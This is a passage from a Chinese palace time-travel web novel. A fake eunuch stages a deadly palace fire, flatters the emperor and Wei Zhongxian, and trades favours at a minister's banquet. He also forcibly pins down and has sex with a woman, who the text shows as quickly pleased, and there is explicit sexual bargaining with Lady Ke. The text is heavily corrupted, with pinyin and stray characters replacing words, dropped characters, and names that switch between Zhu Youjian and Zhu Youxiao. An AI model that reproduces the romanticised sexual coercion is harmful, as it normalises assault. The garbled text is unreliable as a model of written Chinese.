“本宫这里还有一些先皇赏赐的饰,价值足有万两,如果你肯把本宫的女儿带出宫去,这些就权当是孝敬壮士了。”李选shì背着身指了指易土生身边的红漆匣子。

易土生突然叹了口气,松开了军刺,跌坐在檀木椅子上。

“看来你并不像传说中的那么刁蛮任性,野心勃勃!”说这话的时候,他已经把手枪拿了出来,并拉开保险。

李选shì缓缓的转过身来,易土生差点惊叫出声,这女子简直和狐仙生的一般模样:修长匀称的身段,仪态万千的举止,勾魂夺魄的剪水双瞳,含情默默的配合着角略带羞涩的浅笑,充满了mímí门床门床的神秘之美。难怪光宗皇帝为她痴mí的一塌糊涂。

“这个时候你还笑得出来!”易土生纳闷的说。

李选shì的双眸如两弯新月,冷yan的说:“你没有杀我,难道这还不值得笑吗?我有多活了一会儿,难道不值得大笑吗?”

易土生佩服她的胆色,拍了拍椅子道:“娘娘请坐吧,在下有很重要的事情要和娘娘商量。”

李选shì纳罕的看着易土生道:“你不打算杀我了吗?”

易土生点头道:“不杀了。不过我不杀你,并不代表皇帝不杀你,他还会派别人来,到时候可能连你的女儿也难以幸免,因为皇上觉得她来历不明。”

“小皇帝一向都是这么认为的,他冤枉我。”

易土生道:“锦衣卫的厉害你也知道,就算是屈打成招也并非什么难事,所以你要未雨绸缪了。”

李选shì不可置信的说:“平白无故的,你为何要帮本宫?难道你敢和皇帝做对吗?”

易土生道:“不敢。但我是一个有良知的人,明知道皇帝是受了坏人的怂恿,怎么还能助纣为虐呢!恨只恨,天底下有这么多奸佞小人,真是可恶。”

其实这馊主意就是他自己出的。

现如今他色mí心窍,精冲入脑,翻过来打自己的嘴巴,想要帮着李选shì逃出升天呢!最好李选shì感jī不尽,软欲温香,以身相许,才是正经。

“壮士真是深明大义,本宫这厢有礼了!”李选shì含悲忍痛的向易土生这个挨千刀的拜了一拜。

易土生tǐn床喜欢这种当英雄的感觉,眼珠一转,计上心头,道:“选shì娘娘,我有一个办法,既可以让你安全脱身,又可以让你的女儿当上公主,还能——嘿嘿——还能让我自己交差,不知道你愿意不愿意?”

谁会不愿意呀?

“世上会有这么好的妙计吗?”

“当然有,我就想到了一个!”易土生道。

李选shìjī动地全身颤抖,突然以纤纤欲手握住他的手说:“假如真能如此,本宫下半辈子愿意当牛做马,报答恩公!”

易土生装B道:“在下这么做只是为了公道天理,绝对不是为了让你报答。”

李选shì赶忙道歉:“本宫说错了,壮士千万不要见怪!”

易土生回过头来笑道:“我的计策是这样的——我们给哕鸾宫放一把火,放火之前,我会把您送出宫去。然后,我把小公主交给皇上——”

李选shì颤声道:“你要把我的女儿交给皇帝,不行,绝对不行,本宫就算一死,也不要我女儿受苦?”

易土生微笑道:“如果你听我的话,你女儿不但没有危险,反而可以享受荣华富贵!”

李选shì半信半疑,凝眉道:“真的?!”

易土生道:“只是楼下的太监和宫女不能活了!”

李选shì像是抓到了救命稻草,狠道:“做大事者不拘小节,几个太监宫女死也就死了,可这深宫大内铜墙铁壁,我们怎么才能逃出去。”

易土生道:“这个东西你见过没有?”

“出宫令牌,你从何处得来?!”李选shì惊讶道。

易土生笑道:“我把你送到宫门,你持此牌出宫,到依红偎翠阁,找一个叫季倩的女子,就说是她的远房表姐,见了季倩之后,就说是我让你去的,她自会安排你的食宿!不过,此行险阻重重,你可千万不能害怕!”

李选shì接过令牌,冷笑道:“死我都不怕,还怕这些?!”

第十六章左右逢源

大火席卷了整个哕鸾宫!

火苗子像万千跳跃的精灵般此起彼伏,从下到上的把整座绣楼吞噬掉,一点残渣也没有留下。

第二天一大早,工部派人来勘察现场,除了几片烧焦的瓦片之外,什么也没有找到。

所幸的是,绣楼所在之地甚是空旷,四周都是白石砌成的平地,火势因此无法蔓延,才没把整个皇宫都烧了。

深夜里,易土生抱着五岁大的小公主,来到了乾清宫西暖阁。

为了等易土生的消息,朱由检今晚格外的勤政,正坐在龙椅上装模作样的批阅奏章呢!见到易土生抱着个熟睡的孩子进来,站起身来,纳闷的问:“怎么回事儿?”

易土生跪倒在地,把孩子放在一边说:“幸不辱命,那女人已经烧成灰了。”

朱由检搓着手笑道:“终于替母后出了一口恶气!对了,那孩子又是谁?”

易土生看了看睡的甜香的小公主,正色道:“陛下,奴才自作主张把小公主带回来了!”

犹如被一盆凉水,当头浇下,朱由检的马脸拉的老长,厉声道:“不是让你斩草除根吗?她算什么小公主,野种一个。”

易土生道:“陛下,您恨的人是李选shì,现在她已经死了,您恨意也该消了。奴才把这个女孩带回来,完全是为了陛下您呀!”

朱由检奇道:“又是为了朕?你倒是说说看,怎么个为了朕法?”

易土生道:“陛下您想一想,大臣们都知道您和李选shì有恩怨,这次哕鸾宫无故失火,很多人都会怀疑陛下,他们嘴上不说,难免心里对皇上不敬。奴才把这个女孩子带回来,就是为了要塞住天下人的悠悠之口。”

朱由检看了看那女孩,点头道:“怎么个堵法?”

易土生言简意赅的说:“厚待此女!以昭示陛下皇恩浩dan床,胸怀天下,不为己甚!”

朱由检失笑道:“小易子啊,小易子,没想到你还是个文武全才,让你做个小太监真是太委屈你了,又能杀人,又能出谋划策。朕遵守诺言,封你为司苑局领太监,另外……兼任镇抚司锦衣卫百户!”

“奴才谢主隆恩!”

朱由检把他扶起来说:“小易子,你前些日子给朕的仙药,果然厉害,冯贵人很是满意,还有没有?”

易土生笑道:“此种灵丹妙药,奴才虽然有药方,但是很多名贵的药材都找不到,比如说万年何乌,天山雪莲等等,奴才这里还有几粒成药,皇上省着点用!”

朱由检咂嘴道:“小易子,这不行啊,你必须给朕想办法,要是再能配出药来,朕给你个大大的官做!”

两人越谈越带劲,竟然把地上的娃娃给忘了,都快天亮了,易土生才想起来,“陛下,这女娃安置在什么地方?”朱由检傻了。

易土生又上去献策道:“只需要含含糊糊的说,女娃是救火的太监抢出来的,当时火场很乱,没人会注意到,然后,您下一道圣旨,妥善安排就是了!”

朱由检如牵线木偶般说:“对对对,拟旨,拟旨!怎么拟——”

易土生早就想好了,故意沉思了一会儿才说:“就说,哕鸾宫遭了天火,选shì娘娘被火烧死,万岁不念旧恶,宽仁厚德,特地封选shì之女为公主!”

朱由检赞道:“不错,不错,就按你说的,马上拟旨,这——小公主叫什么名字?”

易土生道:“陛下可以赐名,不如就叫凤凰,浴火凤凰,好不好?”

朱由检笑呵呵的tia说:“好,很好,不错!”

第二天,朱由检故意托病没上朝,美其名曰:为了哀悼选shì娘娘,辍朝三日。

易土生代表皇帝宣布了圣旨,第一就是册封他自己为司苑局领太监锦衣卫百户。第二份才是宣告李选shì死讯,并且册封其女为凤凰公主,特令顺天府尹在京畿之地,选良田五百亩,作为公主的封邑,另外赏赐黄金一万两,作为抚恤金。

这么小的小女孩反正也hua不了,户部不给都是未知之数,以后的事情就没人管了,姿态做足了,就了事。

退朝之后,文武大臣们都称赞皇帝是个仁君,不念旧恶,尧舜禹汤。易土生听的心里暗暗得意。

正在他自我膨胀的时候,忽然身后有人喊:“小易子,你过来!”

易土生一听,腿就先软了,这声音不是魏宗贤还是那个!

“魏公公,奴才参见魏公公,魏公公万福金安,魏公公万岁——”易土生当着满朝文武的面趴在地上给魏宗贤叩头,一点也不害臊,还满嘴的胡说八道,弄的魏宗贤脸青一阵白一阵的。

“hún账,什么万岁,万岁是用来称呼皇帝的,乡巴佬,不懂规矩?”魏宗贤骂道。

旁边的大臣们,没听到的没听到,听到的全装作耳鸣耳聋一溜烟的躲开了,谁也不敢淌这摊浑水。

易土生诞着脸道:“公公,奴才只因每天想着公公对奴才的好处,才会口无遮拦的,公公不要见怪。”

魏宗贤嘴上责怪,其实心中对易土生的作为非常受用,冷笑了一声道:“起来吧,恕你无罪,本座找你是有正经事儿的,你跟本座过来。”

魏宗贤把易土生带到了朝房里,这是臣子们等着上早朝的地方,此时退朝了,大家各自回府,没人了。

魏宗贤派了四名心腹锦衣卫在门口守着,苍蝇也飞不进来一只。

“你实话对我说,昨天晚上的大火是怎么回事儿!”魏宗贤右手小拇指上带着个黄金指甲,老长老长的,跟慈禧太后一样。端起茶碗,喝了一口就撂下了。

易土生猫着腰说:“公公,那火是——皇上放的!这话您可别传出去,不然奴才脑袋没了,奴才脑袋要是没了,日后也就没有人对您如此忠心了!”

魏忠贤失笑道:“小兔崽子,本座其实就是试试你的忠心,至于那把火,本座早就有数了!”

易土生吓得脸都白了,赶紧坦白说:“公公,那火是我放的!”

魏忠贤满意的点头道:“小易子,本座告诉你,世上没有锦衣卫不知道的事情?即使锦衣卫不知道,厂卫也知道,厂卫不知道本座也知道,你明白吗?”

易土生胡言乱语道:“魏公公法力无边神通广大,无所不知无所不能,大慈大悲,不,大智大勇,天下无敌!”

魏忠贤颐指气使的说:“行了行了,知道你忠心,我问你,这几天陛下去过皇后的坤宁宫吗?”

易土生笑道:“启禀公公,皇上这些日子一直都在冯贵人那里过夜!”

魏宗贤闭了闭眼睛,慢悠悠的说:“信王来过没有?”

易土生道:“没有,陛下这几天很忙,什么人都不见。”

魏宗贤一愣,不解道:“他都忙些什么?”

易土生傻乎乎的说:“忙着做活计,做木匠!”魏宗贤心想,老子还以为他忙国家大事儿呢,吓我一跳。

“好了好了,我走了,你好好的在这里看着,这里五十两黄金,算是奖励你的,一个锦衣卫百户,算不了什么,你小心跟着本座办事,将来给你个指挥使干干!”魏宗贤一边说一边撩起官府的开叉,迈出了朱红色的大门槛。

易土生看着魏宗贤的背影,冷笑道:“老阉狗,早晚让你跪在我的面前说同样恶心的话,老子岂是屈居人下之辈。”把黄金揣进兜里,回乾清宫向皇帝复命去了。

皇帝见易土生拿着黄金进来,纳闷的问:“从哪里来的,你小子财了?”易土生如实回答:“魏公公赏赐的!”朱由校一点不为所动,笑着说:“是厂臣赏赐的,好,证明朕没有看错人。”易土生当时心中一叹,朱由校真是糊涂透顶,魏宗贤收买他身边的太监,他居然还tǐn床高兴的。

第十七章有事相求

朱由校突然道:“对了,还有件要紧的事儿需要你去办。”

易土生道:“请皇上下旨!”

朱由校挑了挑眼眉道:“是好事儿,美差!”

易土生道:“只要是皇上吩咐奴才去做的都是美差!”

朱由校感动道:“朕的身边除了rǔ母、厂臣、信王、皇后之外,只怕就你是最忠心的了。”

易土生赶忙把这四个人牢牢的记在心里,告诫自己,不论到了什么时候,这四人是绝对不能招惹的。

“皇上您还没说有什么好事儿交给奴才!”

“哈哈,辅叶向高今晚做六十大寿,朕本来要亲自去的,但是锦衣卫前几天得到密报,说‘建庶人’带着一群江湖上的亡命之徒,逃离了‘永禁地’凤阳,阴谋行刺于朕,所以,朕不能出宫,朕决定由你代劳前去饮宴,这趟你是钦差,如朕亲临,叶向高一定会殷勤的款待你,你说是不是一件好事儿?”

“好事儿是好事儿,可是,皇上,奴才有些糊涂了,这‘建庶人’是个什么东西呀?”易土生这次是真糊涂了。

朱由校差点笑破了肚子,搭着他的肩膀说:“建庶人不是东西,是——哎呀——你知不知道本朝有个建文帝?”

易土生道:“奴才也曾识字,怎会不知!”

朱由校道:“建庶人就是建文帝的后代,他们家人没有名字,世世代代,只能叫‘建庶人’。英宗之前,建庶人都是关在锦衣卫诏狱中的,后来,英宗遭遇了土木堡之变,被门床古人抓去做了几年阶下囚,回来的时候,皇位被景帝占去了,把他囚禁在深宫的一个小院子里。英宗皇帝复辟之后,深感被人囚禁的滋味不好受,所以就把‘建庶人’放了出来,赐给他十个美女,几万金银,圈禁在太祖皇帝的老家‘凤阳’,派了重兵看守。户部每年拨银两供他吃喝纳妾,也属皇亲国戚的待遇。没想到,建庶人凭借着这些优势,结交了一些江湖中不三不四的人,听说这些人各个武功高强,会飞檐走壁,剑法精湛,能以一敌十,朝廷现之后,想要制止已经来不及了。”

易土生听他娓娓道来,不禁为‘建庶人’感到悲哀,本来大明王朝都是他们家的,现在却变成了阶下囚,备受凌辱,人家当然不会甘休了。

“如此说来,皇上您还是不去为好,等锦衣卫抓获了建庶人,陛下也就可以安心了。”

朱由检道:“叶向高是辅,群臣之,朕也不能亏待他,你还记得前些天朕做的乾清宫的模型吗?拿去送给他,他一定会喜欢的。”

易土生惊讶的说:“陛下,如此厚礼,只怕叶向高不敢收吧!”

朱由检傲然道:“礼物是贵重了一点,不过,凭他是当朝辅,也能受得起。小易子,你一定要替朕表达对叶辅的敬意!”

易土生暗地里翻白眼,心说,送这破玩意还不如送十两白银来的实惠。

易土生奉了皇帝的圣旨出宫给叶向高贺寿,坐在车上,一路都在想着叶向高的四夫人曲敏,还有杨涟的两个女儿,李选shì,不知道她们几个到底怎么样了。

叶府

高高的院墙。

沿着中轴线有两排整齐的房舍,中间有角楼还有亭榭、池塘,总面积大概有北京鸟巢体育场那么大。门楼下面,一溜挂着十只又红又大的灯笼,灯笼上贴满了金hua,下面缀着鹅黄色的缨穗,显得十分突出而华丽。

易土生一手托着浮尘,一手举着圣旨和模型,小心翼翼的从马车里走下来。一群大大小小的官员立即迎了上来。

易土生看着满朝的文武公卿王宫贵胄,微笑着说:“杂家是奉了陛下的旨意来给辅大人贺寿的,陛下因为一些政务缠身,所以不能来了,委托杂家全权代表。叶辅,请到正堂接旨。”

叶向高、吴道南、田尔耕、许显纯、韩扩,礼部尚书翁正、兵部尚书张鹤鸣、刑部尚书王纪、浙江巡抚潘汝桢、大学士沈溶、户部尚书周嘉谟,瑞王朱常浩、惠王朱常润、桂王朱常瀛三位王叔。六部九卿的大员几乎都已经到齐了。

易土生在这些人中间,论官职卑微的像一只蚂蚁,可他此时是钦差大人的身份,朝臣们又都知道皇帝最近很是宠幸与他,所以,纷纷过来奉承行礼。

叶向高亲自上来,拱手行礼:“易公公,这一趟皇差真是辛苦了!”

易土生把拂尘别再腰间,拉着叶向高的手说:“杂家尽心尽力为皇上办事,谈不上辛苦,倒是叶辅,日忧国夜忧民,才真是辛苦!”

两人一边说着话,一边穿过院子里的几十桌酒席,进了正堂。易土生站立堂心,tǐn床了tǐn床腰干,吆喝道:“叶向高接旨!”

呼啦一下子,院子里屋子里跪倒了上百口子。易土生心里那个乐呀,让你们一个个人五人六的,这下好了吧,全都要跪在老子的脚下!

“奉天承运,皇帝诏曰:辅叶向高,劳苦功高,年高德劭,朕特赐模型一只,助其hua甲之乐。钦此!”

“叶辅,接旨吧!”

“皇上,万岁,万岁万万岁,臣叶向高接旨,谢主隆恩!”

易土生把圣旨交到叶向高手上,顺手把他扶了起来,说道:“杂家的差事办完了,也该回去了。”

叶向高急忙道:“公公这是瞧不起我?”

易土生看着满桌子丰盛的佳肴,装模作样地说:“杂家就是吃了豹子胆,也不敢瞧不起辅大人呀!”

叶向高笑道:“无论如何,今夜易公公也要在我府上喝个一醉方休。”

“恭敬不如从命啦!哈哈!”

易土生因为是钦差的缘故所以坐了正席,叶向高反而屈居一侧。

若是前世,像叶向高这等品级的官,应该相当于总理或副总统之类的,易土生决不会有幸跟他坐在一起。可今天竟然堂而皇之的坐在了他的上,心里不禁乐开了hua。

因为是钦差,又是皇帝的新宠,酒席上不免有些奉承之词,都说易公公劳苦功高,为国为民等等。易土生当然知道自己受之有愧,可伸手不打笑脸人,听着罢了,权当取乐。

这些人里似乎只有吴道南和黄嘉谟始终对易土生不假辞色。

吴道南自不必说了,东林党的领袖,最擅长的就是牢sao讽喻朝政,最爱做的事情就是打压阉宦,他当然不会来拍一个太监的马匹,即使易土生是个钦差。

黄嘉谟呢?公认的为人耿直,以前还上书弹劾过魏宗贤,更加不会趋炎附势。

易土生也不敢和他们过分的亲近,毕竟自己的一举一动还在魏宗贤的监视之下,万一老魏对自己产生了怀疑,那一切就都毁了。

桌子上琳琅满目的名贵菜肴,让易土生停不了口,不一会的功夫就喝多了,起身上厕所,英国公张维闲、御前shì卫统领火器营都统骆思恭,从身后跟了出来。

易土生mímí糊糊的说:“不用送,不用送,杂家去一趟茅厕!”

张维闲和骆思恭,赶忙跑上来,一人拉着易土生一只手。易土生感觉两手中被塞了两张纸,心里不知他们搞什么名堂,只听骆思恭道:“这几日来,易公公连连升迁,深得陛下信任,我等一月也难得见到陛下一面,公公却时时刻刻陪伴身边,日后有什么事情还请公公多多关照!”

张维闲笑着点头道:“没错,没错。听说前几天公公被奉圣夫人要了去,皇上每天茶饭不思,甚是想念,很快就把公公要了回来,此举意味着公公日后必定前途无量,一点小意思,还望公公笑纳!”

易土生这人喝多了之后,就爱感情用事。张维闲和骆思恭几句话说的他心口热乎乎的,自来了明朝之后,除了女人外,还没谁这样恭维过他,拍着胸脯道:“两位大人放心,日后只要有用得着我小易子的地方尽管开口,只要我能办得到的,绝不会推辞。”

骆思恭看了看张维闲,张维闲咳嗽了一声转身走了。现场就只剩下易土生和骆思恭两个人。

骆思恭长叹了一声说:“下官这里真有一件棘手的事情非要公公帮手不可,世上除了公公只怕谁也帮不上忙了?!”

易土生心想,无事献殷勤非奸即盗这话果然没说错。

他刚才已经说了豪言壮语,此刻自然不好推脱,大大咧咧地说:“你说,我听着呢!”

骆思恭大喜道:“公公肯帮忙,此事一定能成!”

易土生嫌他太过罗嗦了,催促道:“要不等我niao了niao回来再说!”

niao完了,易土生问骆思恭:“刚才说到哪里了?”

骆思恭赶忙扶着他说:“易公公,实不相瞒,我有个亲戚叫黄山,他得罪了奉圣夫人,现在被锦衣卫关在诏狱里,后天就要腰斩了,听说奉圣夫人和易公公关系匪浅,能否请公公在夫人面前美言几句,将腰斩改为砍头?”

易土生失笑道:“腰斩也是死,看头也是死,你还求她干什么?”

骆思恭,急道:“公公你真不知道这腰斩的厉害,铡刀落下,人从腰部被斩断,当时还死不了,要足足的在地上哀嚎半个时辰才死,这样的死法,怎么能比砍头痛快,我实在是不愿意表弟落到如此的下场啊!”

易土生心想,这个骆思恭看来也是个有情有义的人,不然怎么敢为了个表弟去引火烧身呢!!

易土生道:“你表弟和奉圣夫人有什么过节,夫人非要置他于死地?”

“说来话长了!”骆思恭叹道。

易土生气道:“那你就长话短说!”

骆思恭见易土生不耐烦了,吓得脸色铁青,赶忙说:“简而言之是这样的,奉圣夫人在山西晋阳有两千亩土地,是以夫人之弟‘客光先’的女婿的名义购买的,偏偏这个女婿他并不姓‘客’,而姓刘——这下子就闯了大祸。”

易土生心里好笑,废话,女婿当然不姓客,还用你说。

易土生道:“想来你的表弟,依仗你在朝廷中的权势,巧取豪夺,抢到奉圣夫人的头上去了,是不是?”

骆思恭惭愧的低下头:“这个表弟,从小顽劣,屡教不改,有这样的事情也是报应,可是,下官真的不想看着他被腰斩,易公公可试着去问问,如能落个全尸,我一家世世代代都会感念易公公的恩德!”

易土生想了想,道:“不死好不好?”

骆思恭傻了半天,才说:“公公的意思?”

易土生说:“这是小事一件,依我看用不着腰斩,更加不必留全尸,你就让他活着吧,好好活着吧!”

骆思恭噗通跪倒在地上:“公公若这能如此,骆思恭日后做牛做马也要报答您的大恩。”

易土生将他扶起来,笑道:“杂家也是初来乍到,宫里宫外的事情需要骆大哥多多关照,谈不上什么大恩大德,我们以后风雨同舟,互相帮助。”

骆思恭道:“公公有把握吗?”易土生心想,在魏宗贤面前没把握,对付客氏还是有点把握的。

“骆大哥,你就等我的好消息吧!酒我也不喝了,现在就回宫去面见夫人,必定给你求下这一场来!”

骆思恭感动的热泪盈眶,颤声说:“公公——来人——送公公——”

易土生道:“不用送,不用送,我这人最讨厌客套,谁要是送我我跟谁急,我的轿子就在门外,走了,走了!”他这样一说,骆思恭还真的不敢送他了。

第十八章求情

易土生摇摇晃晃的走路,走着走着就mí路了,好半天找不到出府的路径。

正在hua丛中挪蹭的时候,突然听到有人喊:“哎呀,你怎么找到这里来了,当真是色胆包天!”眼前一hua,有个fù人拖住了他的腰。

易土生急了,骂道:“大胆,你敢骂我,把叶向高找来,快去!”

那fù人冷笑道:“找来干嘛,捉奸不成,你个醉鬼,连妹子也不认得了!”

易土生惺忪着醉眼仔细一看,楞道:“怎么是曲敏,你怎么来啦?”

曲敏没好气的说:“我没来,是你来了,对了……听说你……做了太监了……”

易土生醉醺醺的说:“别听人瞎说,没有的事儿?”

曲敏叹道:“你又何必瞒我,我看你的一身穿戴,就明白了!”

易土生醉了,撒泼骂道:“你这臭娘们,不信的话老子证明给你看?”

曲敏怒道:“你这厮,骂谁是臭娘们,如今你是废物了,老娘可不稀罕你!”

易土生心头忽然冒出火来:“老子今天不教训你就不姓易!”说着跳起来把曲敏按倒在地上,伸手就去扯曲敏的裙子。

曲敏一只手拉住裙子,一只手去推易土生。

易土生就从下边把裙子撩起来,一把捏住了隐处,曲敏张大嘴巴惊叫,却又不敢叫出声来,只得压低声音骂道:“你个阴阳人,和我一样的人,想这些事情干嘛?”

她越是这样说,易土生越是生气,索性一把拉掉了裤子,把曲敏的衣裙抓烂了,就开始做——

曲敏一开始还反抗,三两下之后就愣住了,诧异道:“你怎么——”

易土生厉声道:“你这个水性杨hua的贱货,老子比以前还强呢!”

曲敏忽然紧紧的搂住了她,幸福的说:“天啊,太好了,前些日子真像一场噩梦,原来你没事,太好了,轻点,你要吃了我呀!”

两人正在胡天胡地的时候,突然,前面的hua园里,出一声‘咔嚓’响。响声非常的细微,却没有逃过易土生的耳朵。他从曲敏身上爬起来,系上裤子,示意曲敏不要出声,自己则摆出了军刺,准备杀人灭口。

半天,一道黑影从群hua树丛中钻出来,跳到了甬道上。

曲敏小声的说:“是陈管家!他到这里来干什么?”

陈管家看看四周没人,加快了步子向角楼走去。

曲敏趴在易土生耳边弄得他耳朵和全身都痒痒的,说:“那里是老爷的书房?平常都禁止人进去的,连大夫人都进不去!”

经过这番折腾,易土生的酒醒了大半,低声说:“我们去看看,这老小子干什么勾当?”

曲敏觉得有趣,连连点头:“好啊!好啊!”

两人跟在陈管家身后,上了甬道,拐进了角楼。角楼里很快亮起了灯。

秦野道:“你在这里等我,我上去看看!”

曲敏惊讶的张着小嘴说:“怎么上去呀?”

易土生看着她的小嘴,心里就是一动,吟笑道:“我趴在你身上上去!”

曲敏打了他一拳,打空了,易土生纵身一跳,已跳上了第一层角楼,拿出以前的攀岩技术,蹭蹭几步,就爬上了三层,双脚挂在飞檐上,蝙蝠一样倒悬着去看二楼里面的景象。

只见陈管家在书房内翻来翻去,最后拿了一份‘蓟辽总督密报’看了起来,看了一会儿,又扑在书桌上抄录了一份,才吹熄了灯火,下楼去了。曲敏躲在hua丛后目送他离开。

易土生头下脚上,滑下来,半空中一翻身,双脚稳如钉子般站在了曲敏面前。

“出什么事儿了?”曲敏问。

易土生皱眉道:“陈管家是个奸细,如果我没有猜错,他应该是后金人或者门床古人!”

“啊!”曲敏hua容失色道:“那老爷岂不是很危险?”

易土生冷冰冰的说:“看来你还是很关心辅大人吗?”

曲敏气的跺脚,盛臀在衣裙里狠狠的扭动了两下,欲指指着易土生的心口,撒娇道:“你没良心,人家对你怎么样,你还不知道吗?”

易土生突然想起来,季倩已经把李选shì和杨氏姐妹送到叶府来了,问道:“我让你照顾的人,帮我照顾的怎么样?”

不提这个曲敏还不来气,越想就越气,伸出弯弯的欲指,点着他脑门说:“我问你,你的朋友怎么都是女人,而且一个比一个漂亮!”

易土生道:“我是个太监,跟谁交朋友都没人说闲话!”

曲敏气咻咻的问:“你是不是跟他们有一手?”易土生反问道:“那你是不是跟叶老头有一手,你敢说你没有陪他睡过觉?”

“那怎么一样?”曲敏理直气壮的说。

易土生知道跟她讲不清楚,便举手投降:“那几个姑娘都是我的表妹表姐,我和他们没什么?”

曲敏展颜一笑道:“这还差不多。”

易土生道:“他们现在在什么地方?”

曲敏笑道:“你放心好了,我把她们认作表姐妹养在府内,没有人怀疑!就是老爷总想着给他们找婆家,这一点有些为难!”

易土生吃惊道:“叶老头见过李——表姐?”

其实他想问李选shì?因为叶向高很有可能认识李选shì。

曲敏点头道:“见过,还夸她漂亮呢,说要把他嫁给左都御史崔呈秀的公子崔月华做老婆呢?可是我没有答应!”

易土生点了点头。

曲敏道:“你知道我为什么没有答应吗?我可不是为了你!因为崔呈秀的公子崔文华,是出了名的‘京城四大恶少’之一,谁要是嫁给了他,谁就注定这一辈子倒霉。”

易土生连忙道:“多亏了小敏你了,我不知道该怎么谢你!”

曲敏趴在他耳边悄悄地说:“大家都在前面给老爷祝寿,你现在到我的房间里去报答我呀!”

易土生酒醒了,胆子再也没有这么大了,连忙说:“算了算了,我还要回宫向陛下复旨,下次吧,下次”

曲敏幽幽的叹道:“下次又不知道要等到什么时候?”

易土生取笑道:“你不是还有田吉大人做替补吗?何必在一棵树上吊死!”

曲敏眼前一阵模糊,委屈道:“说你没良心,你还真的没良心,人家自从有了你之后,再也没有理过他了,他来找了我好几次,我都以身子不舒服给推掉了,还不都是为了给你守身如欲!”

易土生道:“那么叶老头想要你的时候,你怎么守!”

曲敏的眼泪扑朔朔的落下来,跺脚道:“那也是没法子的事情,他一碰我我就恶心,可是我能怎么办呢?你要是有本事就带我逃走,我就只跟你一个人了!”

易土生才不会为了一个女人放弃眼前即将到手的富贵,只勉强说:“我会找机会带你走的,不过在这之前,你要照顾好我的表姐和表妹!”

曲敏道:“你的事就是我的事,放一万个心好了。”

易土生道:“今晚现奸细的事情千万不要透1ù出去!”

曲敏失笑道:“你当我傻呀,不如先把我们乱搞的事情说出去怎样?”

易土生在她上蜻蜓点水的亲了一下说:“我要走了,过几天再见!”

刚走出几步,又转回来,问:“门口在那边?”

易土生回来之后,先去见了客氏。事情有轻重缓急,骆思恭的表弟危在旦夕,已经刻不容缓了。

“参见老祖太太!”易土生恭恭敬敬的行礼。

客氏穿着透明的白纱,正对镜梳晚妆,见到易土生来了,急忙挥手对下人说:“你们全都下去,没有命令谁都不许进来!”

得到爱情滋润的客氏益美yan妖媚,她盈盈的走过来投入了易土生的怀中,“小相公,今晚怎么有兴致来临幸本夫人了!”

易土生把她搂在怀里,柔声道:“夫人,我来是有事相求!”

客氏叹了口气说:“小冤家,mí死我了,有什么事说吧,只要我能做到的!”

客氏的丰体在他怀里扭动,易土生也有些动情,舌尖tian着她的红,另一只手探入她单衣里,在她酥胸上活动,奉圣夫人娇躯颤,脸红如烧,一对秀目差点喷出火来,小口张了开来,不住喘息娇哼。意泛滥的情态,you人到极点。

易土生突然停下手道:“我今晚有心事,夫人可以忍一晚吗?”

客氏失声的呻唤,正是箭在弦上不得不,哪想到易土生会釜底;   只要看她急起伏的tǐn床耸酥胸,便知道她正欲火焚身,难以克制。

易土生却表现得意兴阑珊无精打采!

客氏得不到回应,着急的问:“你说,你有何不开心的事,无论如何本夫人明天也为你办到……但你今晚一定要喂饱我!”

易土生叹了口气道:“我有个表弟名叫黄山,得罪了你,被你关在锦衣卫诏狱,后天就要腰斩了,这个时候,我怎么有心思风hua雪月呀?!”

客氏做了两个深呼吸,镇定了一下,媚眼如丝的说:“你说的那个黄山我知道,他狗胆包天,竟敢抢夺我家的田地,还带人打伤了我家的仆役,这口气让我怎么咽得下去。”

易土生道:“夫人杀他出气,原也是天经地义,可是我为了表弟之死,心情不好,也是人之常情,告辞了!”

易土生转身绕过屏风去拉门,客氏迅的跟了上来。整个身体挡住了门口,焦渴的说:“你喂饱我,我放了他!”

易土生用怀疑的眼光看着她说:“当真!”

客氏重重的点头:“我敢骗你吗?”

易土生松了口气,把她抱起来,说:“为了报答夫人,小生定当竭尽所能。”客氏情真意切的说:“这才算有良心!”

客氏吹熄了灯火,挤入易土生的怀里。易土生搂着一团烈火,偎在被窝里,客氏四肢缠上了他,像八爪鱼一样,咬着他耳朵轻轻道:“我也接触过一些男人,却没有一个像你这样动心的,你——你弄得人家好舒服!”

第十九章改革

第二天下午时分,易土生正陪着皇上挥汗如雨的做木匠活,客氏急急火火的找了来,行了礼,就说:“陛下,前些日子妾身奏报的事情,妾身觉得处置的不够妥当。祈求皇上赦免黄山的罪过,饶他不死,放他回乡!”

朱由校手上正拿这个六角hua亭的模型,跟易土生研究,这里少了一道横梁,那里的角度太硬了不够柔和,表面太粗糙了,需要处理一下。

客氏就在这个时候来奏报了,朱由校那里还记得什么黄山啊,峨眉山的,大大咧咧的挥了挥手说:“你们用心去办,我这里知道了……哎,小易子,你说这里要是采用榫卯结构会不会好一点?!”

易土生故意装作愁眉苦脸冥思苦想的样子,咂嘴说:“奴才觉得这条线还是不够直,这样会影响美观,需要再精修一下。”

朱由校道:“朕也知道这里不太直,可是这种木料太软了,而且mao笔画的线不是很直,没办法——”

两人一唱一和的把客氏给晾在一边了,这也正合了客氏的心意,她看着皇帝和易土生的背影,会心的笑了一下,转过身去,领着二十几个婢女,传旨去了。

易土生心想,以前买家具的时候,最好的木料应该是金丝楠木,一套家具要几十万,其次是杉木家具和松木家具,这些木材都是好材料!便建议道:“陛下,以奴才看来,陛下的手艺可谓巧夺天工,之所以有的时候做出来的东西不符合心意,完全是材料的问题。比如,现在您用得这种桑木,是宫中的常见木料,木质粗糙而且质地太软,不适合做家具,如果换成是金丝楠木或者杉木和松木柚木就不同了。这几种木料不但质地坚硬,而且非常的光滑,金丝楠木还能释放出一种特殊的香气,必定会让您做出的东西大放异彩。此外,奴才还想改良几种工具。”

朱由校听得聚精会神,像学校里的三好学生一样,连连点头:“说下去!”

易土生道:“比如说这种划线的尺子,一旦线太长了就会划歪,很费劲,奴才想可以设计一个‘墨斗’来划线。另外短一点的线段,奴才认为有一种东西比mao笔或刀刻更加合适,那就是铅。大明朝有很多的铅矿,很容易搞到。还有锯子也应该改良,这种锯子太笨重了,不适合做小巧的东西,奴才画一张图纸,让工匠们打造几把‘手锯’出来,皇上一定喜欢。”

朱由校有点半信半疑,搔着头道:“能行吗?你小子还懂得这些?”

易土生心想,只要是看过装修的谁都知道这些,小皇帝的工具太落后了,我给他改造完了,肯定可以提高一倍的度和质量。

“皇上您就放心吧,这都是奴才几天几夜没睡觉琢磨出来的,皇上您肯定会喜欢的,您就瞧好吧!”

“那朕就下旨让你到工部挑选能工巧匠打造,不得有误。”

易土生撩起官服跪在地上,高声道:“奴才一定精忠报国不辜负陛下的厚爱。”

